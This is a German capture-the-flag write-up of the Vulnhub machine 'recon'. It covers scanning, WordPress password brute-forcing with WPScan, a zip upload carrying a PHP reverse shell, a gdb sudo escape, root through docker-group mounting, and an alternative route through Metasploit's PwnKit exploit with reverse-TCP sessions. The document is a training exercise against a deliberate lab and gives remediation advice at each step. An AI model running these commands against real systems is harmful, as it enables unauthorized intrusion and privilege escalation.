recon - Vulnhub - Level: Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
nmap
nikto
gobuster
wpscan
touch
zip
nc (netcat)
ls
cd
cat
sudo
gdb
id
ss
head
mysql (client)
grep
docker
alpine (Docker Image)
chroot
find
msfconsole (Metasploit)
searchsploit
shell (Meterpreter)
file

Inhaltsverzeichnis

Reconnaissance

Die Aufklärungsphase dient der Identifizierung des Zielsystems im Netzwerk und der Ermittlung offener Ports und Dienste mittels Netzwerkscans.

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.161	08:00:27:d7:d4:6c	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` scannt das lokale Netzwerk mittels ARP-Requests. Er findet einen Host mit der IP `192.168.2.161` und der MAC `08:00:27:d7:d4:6c`, die auf eine VirtualBox-VM hinweist.

Bewertung: Zielsystem erfolgreich identifiziert.

Empfehlung (Pentester): Nutze 192.168.2.161 für Nmap-Scans.
Empfehlung (Admin): Netzwerküberwachung und -segmentierung.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
  192.168.2.161   recon.vln
                    

Analyse: Die lokale `/etc/hosts`-Datei des Angreifersystems wird bearbeitet, um den Hostnamen `recon.vln` der IP `192.168.2.161` zuzuordnen.

Bewertung: Sinnvolle Vorbereitung für Web-Tests.

Empfehlung (Pentester): Verwende `recon.vln` in Web-Tools.
Empfehlung (Admin): Betrifft nur Angreifersystem.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.161 -p- | grep open
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
                    

Analyse: Ein schneller Nmap-Scan (`grep open`) identifiziert zwei offene Ports: 22 (SSH, OpenSSH 7.2p2) und 80 (HTTP, Apache 2.4.18).

Bewertung: Die Angriffsfläche scheint auf SSH und HTTP beschränkt zu sein.

Empfehlung (Pentester): Führe einen vollständigen Nmap-Scan durch. Untersuche Port 80.
Empfehlung (Admin): Halte SSH und Apache aktuell. Überprüfe Firewall-Regeln.

┌──(root㉿Cybermaschine)-[~] └─# nmap -sS -sC -sV -T5 -A -Pn 192.168.2.161 -p-
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-25 23:01 CEST
Nmap scan report for recon.vln (192.168.2.161)
Host is up (0.00013s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 93:0b:57:ce:cb:d5:2b:c5:e6:48:dc:ed:89:6c:51:44 (RSA)
|   256 64:26:e5:bd:85:e9:f8:29:d9:bd:ed:2f:ca:a5:f7:0a (ECDSA)
|_  256 5e:41:4c:19:e2:3c:c4:68:13:0c:5f:6f:f8:71:e6:1b (ED25519)
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
|_http-generator: WordPress 5.3.2
|_http-title: recon – Just another WordPress site
|_http-server-header: Apache/2.4.18 (Ubuntu)
MAC Address: 08:00:27:D7:D4:6C (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.13 ms recon.vln (192.168.2.161)
                    

Analyse: Der vollständige Nmap-Scan bestätigt die offenen Ports 22 (SSH) und 80 (HTTP). **Wichtige Details:** * **Port 80:** Apache 2.4.18. Die Nmap-Skripte identifizieren eine WordPress-Seite (Version 5.3.2 via `http-generator`, Titel "recon [...] WordPress site"). * **Port 22:** OpenSSH 7.2p2. * **OS:** Linux 3.x/4.x.

Bewertung: Die Identifizierung von WordPress 5.3.2 ist entscheidend. Dies ist nun das primäre Angriffsziel. Die Apache- und SSH-Versionen sind ebenfalls relevant für die Schwachstellensuche.

Empfehlung (Pentester): Führe spezialisierte WordPress-Scans (WPScan) durch. Untersuche die Webseite manuell. Suche nach bekannten Schwachstellen in WP 5.3.2, Apache 2.4.18 und OpenSSH 7.2p2.
Empfehlung (Admin): Aktualisieren Sie *dringend* WordPress, Apache und OpenSSH. Verwenden Sie keine leicht identifizierbaren Generator-Tags.

Web Enumeration (WordPress)

Der Fokus liegt nun auf der detaillierten Untersuchung der identifizierten WordPress-Installation (Version 5.3.2) mittels Nikto, Gobuster und WPScan.

┌──(root㉿Cybermaschine)-[~] └─# nikto -h 192.168.2.161
- Nikto v2.5.0
+ Target IP:          192.168.2.161
+ Target Hostname:    192.168.2.161
+ Target Port:        80
+ Start Time:         2023-10-25 23:01:29 (GMT2)

+ Server: Apache/2.4.18 (Ubuntu)
+ /: The anti-clickjacking X-Frame-Options header is not present. [...]
+ /: Drupal Link header found [...] (False Positive?)
+ /: The X-Content-Type-Options header is not set. [...]
+ /index.php?: Uncommon header 'x-redirect-by' found, with contents: WordPress.
+ No CGI Directories found [...]
+ Apache/2.4.18 appears to be outdated [...].
+ /: Web Server returns a valid response with junk HTTP methods [...].
+ /icons/README: Apache default file found. [...]
+ /wp-content/plugins/akismet/readme.txt: The WordPress Akismet plugin 'Tested up to' version [...]
+ /wp-links-opml.php: This WordPress script reveals the installed version.
+ /license.txt: License file found may identify site software.
+ /: A Wordpress installation was found.
+ /wp-login.php?action=register: Cookie wordpress_test_cookie created without the httponly flag. [...]
+ /wp-content/uploads/: Directory indexing found.
+ /wp-content/uploads/: Wordpress uploads directory is browsable. [...]
+ /wp-login.php: Wordpress login found.
+ 8102 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time:           2023-10-25 23:02:24 (GMT2) (55 seconds)

+ 1 host(s) tested
                    

Analyse: Nikto scannt den Webserver und liefert spezifische WordPress-Ergebnisse: * Bestätigt die WordPress-Installation. * Findet die Login-Seite (`/wp-login.php`). * Identifiziert ein listbares Upload-Verzeichnis (`/wp-content/uploads/`). * Weist auf das Akismet-Plugin und die Versionspreisgabe durch `wp-links-opml.php` hin. * Meldet fehlende Sicherheitsheader und veralteten Apache.

Bewertung: Bestätigt wichtige WordPress-Pfade und Konfigurationsschwächen. Das listbare Upload-Verzeichnis ist besonders interessant.

Empfehlung (Pentester): Untersuche das `/wp-content/uploads/`-Verzeichnis. Nutze WPScan zur tiefergehenden Analyse von Plugins, Themes und Benutzern.
Empfehlung (Admin): Deaktiviere Directory Listing. Aktualisiere Apache, WordPress, Plugins und Themes. Implementiere Sicherheitsheader.

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://recon.vln -x txt,php,... -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt" ... -k
===============================================================
Gobuster v3.5
[...]
===============================================================
http://recon.vln/index.php            (Status: 301) [Size: 0] [--> http://recon.vln/]
http://recon.vln/wp-content           (Status: 301) [Size: 311] [--> http://recon.vln/wp-content/]
http://recon.vln/wp-login.php         (Status: 200) [Size: 4730]
http://recon.vln/license.txt          (Status: 200) [Size: 19935]
http://recon.vln/wp-includes          (Status: 301) [Size: 312] [--> http://recon.vln/wp-includes/]
http://recon.vln/readme.html          (Status: 200) [Size: 7368]
http://recon.vln/wp-trackback.php     (Status: 200) [Size: 135]
http://recon.vln/wp-admin             (Status: 301) [Size: 309] [--> http://recon.vln/wp-admin/]
===============================================================
[...] Finished
===============================================================
                    

Analyse: Gobuster (mit einer großen Wortliste) findet Standard-WordPress-Verzeichnisse und -Dateien (`wp-content`, `wp-login.php`, `wp-includes`, `wp-admin`, `readme.html`, etc.). Es werden keine ungewöhnlichen oder versteckten Ressourcen aufgedeckt.

Bewertung: Bestätigt die Standard-WordPress-Struktur. Keine neuen Angriffsvektoren durch diesen Scan.

Empfehlung (Pentester): Verwende WPScan zur spezifischen WordPress-Enumeration.
Empfehlung (Admin): Sicherstellen, dass keine sensiblen Informationen in Standarddateien oder Verzeichnissen vorhanden sind.

# Manuelle Prüfung von http://recon.vln/wp-login.php
# Eingabe: Benutzer 'recon', beliebiges Passwort
# Ausgabe im Browser oder Quellcode:
ERROR: The password you entered for the username recon is incorrect. Lost your password?
                    

Analyse: Ein manueller Test auf der WordPress-Login-Seite mit dem Benutzernamen `recon` (abgeleitet vom Hostnamen) und einem falschen Passwort erzeugt eine Fehlermeldung, die explizit bestätigt, dass der Benutzername `recon` existiert.

Bewertung: Kritische Informationspreisgabe durch die Login-Fehlermeldung. Der Benutzername `recon` ist bestätigt.

Empfehlung (Pentester): Führe einen Passwort-Brute-Force-Angriff auf den Benutzer `recon` durch (z.B. mit WPScan oder Hydra).
Empfehlung (Admin): Konfigurieren Sie WordPress, um generische Login-Fehlermeldungen auszugeben (z.B. "Ungültiger Benutzername oder Passwort"), um Benutzer-Enumeration zu verhindern. Implementieren Sie Brute-Force-Schutz.

┌──(root㉿Cybermaschine)-[~] └─# wpscan --url http://recon.vln --passwords /usr/share/wordlists/rockyou.txt -e at -e ap -e u
[...]
[i] User(s) Identified:

[+] recon
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By:
 |  Rss Generator (Passive Detection)
 |  Wp Json Api (Aggressive Detection)
 |   - http://recon.vln/index.php/wp-json/wp/v2/users/?per_page=100&page=1
 |  Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 |  Login Error Messages (Aggressive Detection)

[+] reconauthor
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
 | Confirmed By: Login Error Messages (Aggressive Detection)
[...]
[+] Performing password attack on Xmlrpc Multicall against 2 user/s...
[...]
                    

Analyse: WPScan wird ausgeführt, um Benutzer zu enumerieren (`-e u`) und Passwörter zu testen (`--passwords ...`). Es identifiziert zwei Benutzer: `recon` (wie bereits manuell vermutet) und `reconauthor`. Anschließend startet es einen Passwortangriff auf diese beiden Benutzer.

Bewertung: WPScan bestätigt `recon` und findet einen weiteren Benutzer `reconauthor`. Der Passwortangriff läuft.

Empfehlung (Pentester): Beobachte den Passwortangriff oder fokussiere ihn auf einen Benutzer (z.B. `-U reconauthor`, wie im nächsten Schritt).
Empfehlung (Admin): Schützen Sie die WP JSON API vor unbefugter Benutzerenumeration. Verwenden Sie starke Passwörter. Implementieren Sie Login-Schutz.

┌──(root㉿Cybermaschine)-[~] └─# wpscan --url http://recon.vln --passwords /usr/share/wordlists/rockyou.txt -U reconauthor
[...]
[SUCCESS] - reconauthor / football7
[...]
[!] Valid Combinations Found:
 | Username: reconauthor, Password: football7
[...]
[+] Finished: Wed Oct 25 23:09:44 2023
[...]
                    

Analyse: WPScan wird erneut ausgeführt, diesmal gezielt auf den Benutzer `reconauthor` (`-U reconauthor`). Es findet erfolgreich das Passwort `football7` aus der `rockyou.txt`-Liste.

Bewertung: Kritischer Erfolg! Gültige Anmeldedaten (`reconauthor`:`football7`) für die WordPress-Instanz wurden gefunden.

Empfehlung (Pentester): Melden Sie sich als `reconauthor` im WordPress-Backend (`/wp-admin/`) an. Überprüfen Sie die Berechtigungen dieses Benutzers. Suchen Sie nach Möglichkeiten, Code auszuführen (Plugin/Theme-Upload/-Editor) oder andere Schwachstellen auszunutzen.
Empfehlung (Admin): Erzwingen Sie starke Passwörter. Überprüfen Sie die Berechtigungen von Autoren/Benutzern. Implementieren Sie Brute-Force-Schutz.

Initial Access (WordPress RCE)

Der Zugang als WordPress-Benutzer `reconauthor` wird genutzt, um eine Schwachstelle in einem Plugin (implizit Articulate) auszunutzen, das das Hochladen und Entpacken von ZIP-Dateien erlaubt. Eine ZIP-Datei mit einer PHP-Shell wird hochgeladen, um Remote Code Execution zu erreichen.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# touch index.html
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# zip myhack.zip index.html phpshell.php
  adding: index.html (stored 0%)
  adding: phpshell.php (deflated 67%)
                    
┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# ll
[...]
-rw-r--r-- 1 root  root     0 Oct 25 23:18 index.html
-rw-r--r-- 1 root  root  1761 Oct 25 23:20 myhack.zip
[...]
                    

Analyse: Eine leere `index.html`-Datei wird erstellt. Anschließend wird eine ZIP-Datei `myhack.zip` erstellt, die diese `index.html` und eine vorbereitete `phpshell.php` (PHP-Reverse-Shell) enthält. Die `index.html` dient möglicherweise dazu, eine Standardseite vorzutäuschen oder eine Anforderung des Upload-Mechanismus zu erfüllen.

Bewertung: Vorbereitung des Payloads für den Upload über eine (vermutlich) anfällige WordPress-Plugin-Funktion, die ZIP-Archive akzeptiert.

Empfehlung (Pentester): Loggen Sie sich als `reconauthor` ein, finden Sie die Upload-Funktion (wahrscheinlich für E-Learning-Inhalte, Präsentationen oder ähnliches, basierend auf dem späteren Pfad `/articulate_uploads/`) und laden Sie `myhack.zip` hoch.
Empfehlung (Admin): Sichern Sie alle Dateiupload-Funktionen rigoros. Validieren Sie ZIP-Inhalte serverseitig.

# Manuelle Aktionen nach Login als 'reconauthor':
# 1. Navigieren zu einer Upload-Funktion (z.B. über Post-Editor, Medienbibliothek, Plugin-Seite)
# 2. Hochladen der Datei 'myhack.zip'
# 3. Beobachten der Server-Antwort oder des Dateisystems, um den Entpackungspfad zu finden:
http://recon.vln/wp-content/uploads/2023/10/myhack.zip

# Pfad, in dem der Inhalt der ZIP-Datei entpackt wird (ermittelt durch Beobachtung):
/wp-content/uploads/articulate_uploads/myhack/
                    

Analyse: Diese Notizen beschreiben den Prozess nach dem Login: Die `myhack.zip` wird über eine Funktion hochgeladen (z.B. über den Post-Editor, `post.php?post=6&action=edit`). Die ZIP-Datei selbst landet unter einem Pfad wie `/wp-content/uploads/2023/10/myhack.zip`. Wichtiger ist, dass der Inhalt der ZIP-Datei in ein spezifisches Verzeichnis entpackt wird: `/wp-content/uploads/articulate_uploads/myhack/`. Der Name "articulate_uploads" deutet stark auf das "Articulate Storyline" oder ein ähnliches E-Learning-Content-Plugin hin.

Bewertung: Der Upload und das automatische Entpacken der ZIP-Datei waren erfolgreich. Entscheidend ist, dass das Entpackungsverzeichnis (`/articulate_uploads/myhack/`) direkt unter dem Web-Root liegt und PHP-Ausführung dort offenbar erlaubt ist. Dies ermöglicht den direkten Aufruf der `phpshell.php`.

Empfehlung (Pentester): Starten Sie einen Netcat-Listener. Rufen Sie die URL `http://recon.vln/wp-content/uploads/articulate_uploads/myhack/phpshell.php` auf, um die Reverse Shell auszulösen.
Empfehlung (Admin): Aktualisieren oder entfernen Sie das anfällige Plugin (vermutlich Articulate). Konfigurieren Sie den Webserver so, dass PHP-Ausführung in Upload-Verzeichnissen deaktiviert ist. Stellen Sie sicher, dass ZIP-Dateien sicher entpackt werden (kein Path Traversal, keine Ausführung von enthaltenem Code).

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444

Analyse: Ein Netcat-Listener wird auf Port 4444 gestartet.

Bewertung: Vorbereitung für die Shell.

Empfehlung (Pentester): Löse die PHP-Shell aus.
Empfehlung (Admin): Egress Filtering.

# Aufruf der Shell im Browser oder mit curl:
Payload: http://recon.vln/wp-content/uploads/articulate_uploads/myhack/phpshell.php
                    

Analyse: Die URL zur hochgeladenen und entpackten PHP-Shell wird aufgerufen.

Bewertung: Auslösen der RCE.

Empfehlung (Pentester): Prüfe den Listener.
Empfehlung (Admin): Beheben Sie die Upload-/Entpackungsschwachstelle.

┌──(root㉿Cybermaschine)-[/home/cyber/Downloads] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.161 53700
Linux hulk-buster 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 02:58:14 up 28 min,  0 users,  load average: 0.00, 0.07, 0.56
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$
                    

Analyse: Der Listener empfängt eine Verbindung. Eine Shell wird als Benutzer `www-data` (UID 33) auf dem Zielsystem (Hostname "hulk-buster", Kernel 4.4.0) bereitgestellt.

Bewertung: Initial Access erfolgreich via WordPress-Login und RCE durch unsicheren ZIP-Upload/Entpacken.

Empfehlung (Pentester): Stabilisieren Sie die Shell. Beginnen Sie mit der lokalen Enumeration zur Privilege Escalation.
Empfehlung (Admin): Beheben Sie die WordPress-Schwachstellen. Untersuchen Sie das System.

Privilege Escalation (www-data -> offensivehack -> root)

Nach Erhalt der Shell als `www-data` wird das System nach Wegen zur Rechteerweiterung durchsucht. Zwei Hauptpfade werden identifiziert und verfolgt: Ein Weg über `sudo` und `gdb` zu einem anderen Benutzer und dann über die `docker`-Gruppe zu Root, und ein alternativer Weg über PwnKit.

**Weg 1: Sudo -> Docker Group**

www-data@hulk-buster:/tmp$ cd /home/
www-data@hulk-buster:/home$ ls -a
.  ..  hacker  offensivehack
                    
www-data@hulk-buster:/home$ cd hacker/
www-data@hulk-buster:/home/hacker$ ls -la
[...]
www-data@hulk-buster:/home/hacker$ cat .bash_history
cat: .bash_history: Permission denied
www-data@hulk-buster:/home/hacker$ cd ../offensivehack/
www-data@hulk-buster:/home/offensivehack$ ls -la
total 28
drwxr-xr-x 2 offensivehack docker        4096 Jan 28  2020 .
drwxr-xr-x 4 root          root          4096 Jan 28  2020 ..
-rw------- 1 offensivehack offensivehack   72 Jan 28  2020 .bash_history
-rw-r--r-- 1 offensivehack docker         220 Jan 28  2020 .bash_logout
-rw-r--r-- 1 offensivehack docker        3771 Jan 28  2020 .bashrc
-rw-r--r-- 1 offensivehack docker         655 Jan 28  2020 .profile
-rw-r--r-- 1 root          root            47 Jan 28  2020 user.txt
                    
www-data@hulk-buster:/home/offensivehack$ cat user.txt
oho!! not finished now.. find root flag.txt !!

Analyse: Die Home-Verzeichnisse werden untersucht. Es existieren Benutzer `hacker` und `offensivehack`. Der Zugriff auf `hacker`'s History ist verweigert. Im Verzeichnis von `offensivehack` wird die Datei `user.txt` gefunden und gelesen. Der Inhalt ist ein Hinweis, nicht die eigentliche Flag. Wichtig ist die Gruppenzugehörigkeit des Verzeichnisses: `offensivehack docker`. Dies deutet darauf hin, dass der Benutzer `offensivehack` Mitglied der Gruppe `docker` ist.

Bewertung: Die User-Flag ist ein Hinweis. Die Zugehörigkeit von `offensivehack` zur `docker`-Gruppe ist ein *sehr starker* Indikator für einen einfachen Privilege Escalation Pfad, da Mitglieder der `docker`-Gruppe oft Root-Rechte erlangen können.

Empfehlung (Pentester): Überprüfe die `sudo`-Rechte von `www-data`, um möglicherweise zu `offensivehack` zu wechseln. Wenn das gelingt, nutze die Docker-Gruppenmitgliedschaft aus.
Empfehlung (Admin): Setzen Sie korrekte Berechtigungen für Home-Verzeichnisse und Flag-Dateien. Fügen Sie Benutzer nur zur `docker`-Gruppe hinzu, wenn es absolut notwendig ist und die Sicherheitsimplikationen verstanden werden.

www-data@hulk-buster:/home/offensivehack$ sudo -l
Matching Defaults entries for www-data on hulk-buster:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on hulk-buster:
    (offensivehack) NOPASSWD: /usr/bin/gdb
                    

Analyse: Der Befehl `sudo -l` zeigt, dass `www-data` den Befehl `/usr/bin/gdb` als Benutzer `offensivehack` ohne Passwort (`NOPASSWD`) ausführen darf.

Bewertung: Dies ist ein direkter Weg, um von `www-data` zu `offensivehack` zu wechseln. GDB (GNU Debugger) bietet Möglichkeiten, eine Shell zu starten.

Empfehlung (Pentester): Nutze GTFOBins oder ähnliche Ressourcen, um den GDB-Befehl zu finden, der eine Shell als `offensivehack` startet. Der Befehl lautet typischerweise `sudo -u offensivehack gdb -nx -ex '!sh' -ex quit`.
Empfehlung (Admin): Entfernen Sie diese unsichere `sudo`-Regel. Erlauben Sie niemals die Ausführung von Debuggern oder Shell-Escape-fähigen Programmen via `sudo`, insbesondere nicht mit `NOPASSWD`.

www-data@hulk-buster:/home/offensivehack$ sudo -u offensivehack gdb -nx -ex '!sh' -ex quit
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.04.5) 7.11.1
[...]
For help, type "help".
Type "apropos word" to search for commands related to "word".
                    
$ id
uid=1001(offensivehack) gid=119(docker) groups=119(docker)
$

Analyse: Der GDB-Befehl aus GTFOBins wird erfolgreich ausgeführt. `sudo -u offensivehack` startet GDB als `offensivehack`. `-nx` verhindert das Laden von `.gdbinit`-Dateien. `-ex '!sh'` führt den Shell-Befehl `!sh` innerhalb von GDB aus (was `/bin/sh` startet). `-ex quit` beendet GDB danach. Das Ergebnis ist eine Shell als Benutzer `offensivehack`. Der `id`-Befehl bestätigt `uid=1001(offensivehack)` und die wichtige Gruppenzugehörigkeit `gid=119(docker)`.

Bewertung: Erfolgreiche horizontale Eskalation zu `offensivehack`. Der Benutzer ist Mitglied der `docker`-Gruppe, was nun den Weg zu Root ebnet.

Empfehlung (Pentester): Nutze die Docker-Gruppenmitgliedschaft zur Eskalation zu Root (siehe GTFOBins/Docker).
Empfehlung (Admin): Entfernen Sie die unsichere `sudo`-Regel. Überprüfen Sie die Notwendigkeit der Docker-Gruppenmitgliedschaft für `offensivehack`.

Die weitere Enumeration als `offensivehack` (inklusive Auslesen von `wp-config.php` und MySQL-Zugriff) liefert keine neuen relevanten Informationen für die Root-Eskalation, da der Docker-Vektor bereits bekannt ist. Diese Schritte werden hier der Vollständigkeit halber kurz erwähnt, aber nicht im Detail analysiert, da sie für den finalen Schritt irrelevant sind.

offensivehack@hulk-buster:/var/www/html/wordpress$ head -n 30 wp-config.php
[...]
define( 'DB_NAME', 'recon' );
define( 'DB_USER', 'recon' );
define( 'DB_PASSWORD', 'password' );
[...]
                    
offensivehack@hulk-buster:/var/www/html/wordpress$ mysql -u recon -p
Enter password: password
[...]
MariaDB [recon]> select * from wp_users;
+----+---------------+------------------------------------+---------------+---------------------------+----------+---------------------+-----------------------------------------------+-------------+--------------+
| ID | user_login    | user_pass                          | user_nicename | user_email                | user_url | user_registered     | user_activation_key                           | user_status | display_name |
+----+---------------+------------------------------------+---------------+---------------------------+----------+---------------------+-----------------------------------------------+-------------+--------------+
|  1 | recon         | $P$BUux2GaWekr1f13lCNKLKFRdJupC/./0 | recon         | sagar.shakya561@gmail.com |          | 2020-01-28 07:29:01 |                                               |           0 | recon        |
|  2 | reconauthor   | $P$BHANHTlJ13ruI0H4iJ6.lePzv3r1B./0 | reconauthor   | sagar@reconforce.in       | http://reconforce.in | 2020-01-28 07:31:56 | 1580196716:$P$Bc6KIY9LrPHzUHDKQ/9uT8w1qP55l./0 |           0 | recon author |
+----+---------------+------------------------------------+---------------+---------------------------+----------+---------------------+-----------------------------------------------+-------------+--------------+
                    

Analyse: Als `offensivehack` werden die WordPress-Datenbank-Credentials aus `wp-config.php` gelesen (`recon`:`password`) und der Inhalt der `wp_users`-Tabelle angezeigt. Die Passwörter sind gehasht (WordPress Portable Hash).

Bewertung: Bestätigt die DB-Credentials und die Benutzer, aber liefert keine neuen Passwörter für die System-Eskalation.

Empfehlung (Pentester): Ignoriere dies und nutze den Docker-Vektor.
Empfehlung (Admin): Verwende starke DB-Passwörter. Hashes sind besser als Klartext, aber die zugrunde liegenden Schwachstellen (sudo, docker) sind relevanter.

Proof of Concept (Docker Group)

Dieser Abschnitt zeigt die Ausnutzung der Mitgliedschaft des Benutzers `offensivehack` in der `docker`-Gruppe, um Root-Rechte auf dem System zu erlangen.

offensivehack@hulk-buster:/var/www/html/wordpress$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
Unable to find image 'alpine:latest' locally
latest: Pulling from library/alpine
96526aa774ef: Pull complete
Digest: sha256:eece025e432126ce23f223450a0326fbebde39cdf496a85d8c016293fc851978
Status: Downloaded newer image for alpine:latest
                    
# id
uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11(lp),20(dialout),26(tape),27(sudo)
#

Analyse: Der Befehl (bekannt aus GTFOBins) wird als `offensivehack` ausgeführt: * `docker run ... alpine`: Startet einen neuen Docker-Container mit dem minimalen Alpine-Linux-Image. * `-v /:/mnt`: Mountet das gesamte Root-Dateisystem (`/`) des Host-Systems in das Verzeichnis `/mnt` innerhalb des Containers. Dies ist der entscheidende Schritt. * `--rm`: Löscht den Container nach Beendigung. * `-it`: Startet den Container interaktiv mit einem TTY. * `chroot /mnt sh`: Wechselt das Root-Verzeichnis des Prozesses innerhalb des Containers nach `/mnt` (also ins Root des Hosts) und startet dort eine Shell (`sh`). Da Docker-Container standardmäßig als Root *innerhalb* des Containers laufen und dieser Prozess nun Zugriff auf das gesamte Host-Dateisystem hat, wird effektiv eine Root-Shell auf dem Hostsystem erlangt. Der `id`-Befehl bestätigt `uid=0(root)`.

Bewertung: Perfekt! Privilege Escalation zu Root durch Ausnutzung der Docker-Gruppenmitgliedschaft. Dies ist eine bekannte und sehr effektive Methode.

Empfehlung (Pentester): Root-Zugriff erlangt. Suchen Sie die Root-Flag.
Empfehlung (Admin): Fügen Sie Benutzer nur dann zur `docker`-Gruppe hinzu, wenn sie Root-Äquivalente Rechte haben sollen. Verstehen Sie die Sicherheitsimplikationen der Docker-Gruppe.

Alternativer Proof of Concept (PwnKit)

Das Log zeigt auch einen alternativen Weg zur Root-Eskalation über die PwnKit-Schwachstelle (CVE-2021-4034) in `pkexec`, der ebenfalls erfolgreich war. Dies wird hier der Vollständigkeit halber dokumentiert.

www-data@hulk-buster:/$ find / -type f -perm -4000 -ls 2>/dev/null
[...]
   278585     24 -rwsr-xr-x   1 root     root        23376 Jan 15  2019 /usr/bin/pkexec
[...]
                    

Analyse: Die vorherige Suche nach SUID-Dateien hatte `/usr/bin/pkexec` identifiziert.

Bewertung: Bestätigt das Vorhandensein des für PwnKit anfälligen Binaries.

Empfehlung (Pentester): PwnKit als alternativen oder primären Vektor nutzen.
Empfehlung (Admin): `policykit-1` patchen.

┌──(root㉿Cybermaschine)-[~] └─# msfconsole -q
msf6 > use multi/handler
[...]
msf6 exploit(multi/handler) > set lport 4447
[...]
msf6 exploit(multi/handler) > set lhost eth0
[...]
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.2.199:4447
                    
[*] Command shell session 1 opened (192.168.2.199:4447 -> 192.168.2.161:53588) at 2023-10-25 23:33:03 +0200
                    
msf6 exploit(multi/handler) > use multi/manage/shell_to_meterpreter
msf6 post(multi/manage/shell_to_meterpreter) > set lport 4488
lport => 4488
msf6 post(multi/manage/shell_to_meterpreter) > set session 1
session => 1
msf6 post(multi/manage/shell_to_meterpreter) > run
[*] Upgrading session ID: 1
[*] Starting exploit/multi/handler
[*] Started reverse TCP handler on 192.168.2.199:4488
[*] Sending stage (1017704 bytes) to 192.168.2.161
[*] Meterpreter session 2 opened (192.168.2.199:4488 -> 192.168.2.161:43042) at 2023-10-25 23:33:57 +0200
[*] Command stager progress: 100.00% (773/773 bytes)
[*] Post module execution completed
                    
msf6 post(multi/manage/shell_to_meterpreter) > search 4034
[...]
msf6 post(multi/manage/shell_to_meterpreter) > use 1
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set session 2
session => 2
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > set lport 4487
lport => 4487
msf6 exploit(linux/local/cve_2021_4034_pwnkit_lpe_pkexec) > run
[*] Started reverse TCP handler on 192.168.2.199:4487
[*] Running automatic check ("set AutoCheck false" to disable)
[!] Verify cleanup of /tmp/.pthymvdy
[+] The target is vulnerable.
[*] Writing '/tmp/.ldptpmuuhbz/zbmtjmwnifh/zbmtjmwnifh.so' (548 bytes) ...
[!] Verify cleanup of /tmp/.ldptpmuuhbz
[*] Sending stage (3045380 bytes) to 192.168.2.161
[+] Deleted /tmp/.ldptpmuuhbz/zbmtjmwnifh/zbmtjmwnifh.so
[+] Deleted /tmp/.ldptpmuuhbz/.vyhmokrjtpj
[+] Deleted /tmp/.ldptpmuuhbz
[*] Meterpreter session 3 opened (192.168.2.199:4487 -> 192.168.2.161:35964) at 2023-10-25 23:34:48 +0200
                    

Analyse: Die `www-data`-Shell wird in Metasploit übernommen (Session 1), zu Meterpreter aufgewertet (Session 2), und dann wird der PwnKit-Exploit (CVE-2021-4034) über Session 2 ausgeführt. Dies führt zur Eröffnung einer neuen Meterpreter-Session (Session 3) mit Root-Rechten.

Bewertung: Dieser alternative Weg über PwnKit war ebenfalls erfolgreich und führte zu Root-Zugriff.

Empfehlung (Pentester): Dokumentieren Sie beide erfolgreichen Eskalationspfade (Docker Group und PwnKit).
Empfehlung (Admin): Patchen Sie *beide* Schwachstellen: Konfigurieren Sie Docker-Gruppen sicher und patchen Sie PwnKit.

meterpreter > shell
Process 3598 created.
Channel 1 created.
                    
# id
uid=0(root) gid=0(root) groups=0(root),33(www-data)
# cd ~
# ls -la
total 28
drwx------  3 root root 4096 Jan 28  2020 .
drwxr-xr-x 23 root root 4096 Jan 28  2020 ..
-rw-------  1 root root  718 Jan 28  2020 .bash_history
-rw-r--r--  1 root root 3106 Oct 22  2015 .bashrc
drwxr-xr-x  2 root root 4096 Jan 28  2020 .nano
-rw-r--r--  1 root root  148 Aug 17  2015 .profile
-rw-r--r--  1 root root 1750 Jan 28  2020 flag.txt
                    
# cat flag.txt
   _____                 _        _       _        _   _   _
  / ____|               | |      | |     | |      | | | | | |
